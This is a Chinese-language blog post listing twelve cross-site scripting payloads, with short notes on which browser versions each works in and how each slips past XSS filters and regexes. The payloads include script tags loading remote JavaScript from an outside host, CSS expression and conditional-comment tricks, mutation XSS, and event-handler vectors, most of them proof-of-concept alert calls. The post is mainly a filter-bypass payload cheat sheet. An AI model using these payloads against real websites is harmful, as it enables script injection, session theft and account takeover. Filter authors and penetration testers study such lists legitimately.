12个有趣的 XSS Vector

简介: XSS Vector #1 URL中第二个斜杠在Internet Explorer下(测试于IE11)可被U+3031,U+3033,U+3035,U+309D,U+30FC,U+30FD,U+FF70代替。

XSS Vector #1

<script src=/〱20.rs></script>

URL中第二个斜杠在Internet Explorer下(测试于IE11)可被U+3031,U+3033,U+3035,U+309D,U+30FC,U+30FD,U+FF70代替。在特定环境下可以帮助测试者绕过一些正则。

XSS Vector #2

<script src=//20.rs async>

这个Vector可以在不闭合script标签的情况下,在IE下(测试于IE11)正常调用远程的JavaScript。不但可以有效地绕过一些无聊的正则,还可以帮助你缩短你的payload。btw,这和后面会不会出现其它的script标签进而导致当前payload被闭合的一类现象无关。

XSS Vector #3

<div style="x: /**/ression(alert(1))('\')exp\')">

IE的一个CSS Parse BUG。在特定情况下可能可以帮助绕过一些XSS的防御正则。by @gainover

XSS Vector #4

<script>/*@cc_on alert(1) @*/</script>

当输出点在多行注视符号之间,切无法结束script标签时,可以借助该Vector在IE下(需要IE版本在10或以前)成功的XSS。

XSS Vector #5

<base href="javascript:\"><a href="//%0aalert(1);//“>Click Me</a>

该Vector在不久前由@irsdl发布。测试在Chrome下有效。

XSS Vector #6

<title>&lt;img src=1 onerror=alert(1)&gt;</title> div.innerHTML = document.getElementsByTagName("title")[0]; // IE8, already-known?

IE8下的又一枚mXSS,最近由@hasegawayosuke发布在了Twitter上。

XSS Vector #7

<picture><source srcset=1><img onerror=alert(1)>

最近由.mario发布在Twitter上。测试在Chrome canary下有效。

XSS Vector #8

<script>''+{valueOf:location, toString:[].join,0:'javascript:prompt%281%29’,length:1}</script>

这确实是炒冷饭。不过很少见人提到。该Vector同样只在IE下有效。优点就是不需要等号和圆括号。意味着在某些情况下可以帮你简单绕过一些不切实际的XSS Filter进而构造你有效的POC。

XSS Vector #9

<meta http-equiv="X-UA-Compatible" content="IE=9;"><% onclick=alert(1)>click me

该Vector仅在IE9有效。可以看到左尖括号后面紧跟着的并不是字母。但在IE9这依然会被认定为是一个有效的标签。就像我们对大部分的未知标签的理解,我们可以在那些莫名其妙的标签当中使用onclick和onmouse系列的event handler进行XSS跨站攻击。至于可以拿来干什么,仁者见仁吧。

XSS Vector #10

<script>alert`1`</script>

ES6新特性。可以使用backtick来代替圆括号。测试于Firefox Nightly.

XSS Vector #11

<input onresize=alert(1)>

这对于input标签来说应该是最短的Vector了。在IE10下有效。无需autofocus进行辅助和用户交互就可以自动触发。在autofocus被过滤,无法重写type的情况下算是个选项。除此之外对于使用autofocus的vector除了我们熟知的onblur,onfocus等还有几个event handler可以用来XSS。

<iframe src=被xss的页面.htm>

被xss的页面.htm

<input onActivate=alert(2) autofocus>
<input onBeforeActivate=alert(5) autofocus>

在IE10和IE11下有效。当然了,如果可以写入type=image 我们还可以使用onload,onerror这类的event handler。

XSS Vector #12

<iframe src=test.htm> <input type=hidden style=x:expression(alert(1))> 测试于IE6-9 by @Sogili
<form><input type=hidden onforminput=alert('what?')><input></form> 测试于Opera12
<svg><input type=hidden onload=alert(1)> //测试于safari7.0.6

有些是冷面,有些需要用户交互,有些你可能并不认为是bypass。仁者见仁吧。该Vector的重点在于type=hidden。

目录
打赏
0
0
0
0
20
分享
相关文章
JavaScript 中 Math 对象常用方法
【10月更文挑战第29天】JavaScript中的Math对象提供了丰富多样的数学方法,涵盖了基本数学运算、幂运算、开方、随机数生成、极值获取以及三角函数等多个方面,为各种数学相关的计算和处理提供了强大的支持,是JavaScript编程中不可或缺的一部分。
介绍DOM Based XSS
【8月更文挑战第25天】介绍DOM Based XSS
89 1
JavaScript 中的 Range 和 Selection 对象
JavaScript 中的 `Range` 和 `Selection` 对象用于处理文本选择。`Range` 表示文档中选定的区域,而 `Selection` 表示用户选择的文本或光标位置。`Range` 可以创建并设置于任何元素或文本,具有多个属性(如 `startContainer`, `endContainer`, `collapsed`)和方法(如 `cloneContents`, `deleteContents`)。`Selection` 提供了获取和操作用户选择的方法,如 `anchorNode`, `focusNode` 和 `addRange`。两者在所有现代浏览器中基本兼容。
87 1
JavaScript 中的 Range 和 Selection 对象
|
10月前
|
30、xss发生的位置
30、xss发生的位置
109 1
C++中vector的用法
⭐一、vector的简介 vector的中文译为向量,因此vector是C++STL中一个向量类型的容器。vector还是C++STL中最常用也很实用的一个容器,它的功能十分的强大,可以容纳多种类型的数据。在一些特定的情况下普通的数组使用起来会比较局限,因为普通数组只能实现一对一的映射而不能实现一对多的映射,而vector的引入就可以很好的帮助我们解决这个问题。vector的大小是实时更新变化的,非常的灵活多用,因此vector也可以称之为动态数组。
251 0
详探XSS PayIoad
1.Cookie劫持 一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击 Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户
215 1
详探XSS PayIoad
C++中vector的用法详解
c++中vector的用法详解 vector(向量): C++中的一种数据结构,确切的说是一个类.它相当于一个动态的数组,当程序员无法知道自己需要的数组的规模多大时,用其来解决问题可以达到最大节约空间的目的. 1.头文件#include. 2.变量声明:         2.1 例:声明一个int向量以替代一维的数组:vector a;(等于声明了一个int数组a[],大小没有指定,可以动态的向里面添加删除)。
1465 0
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等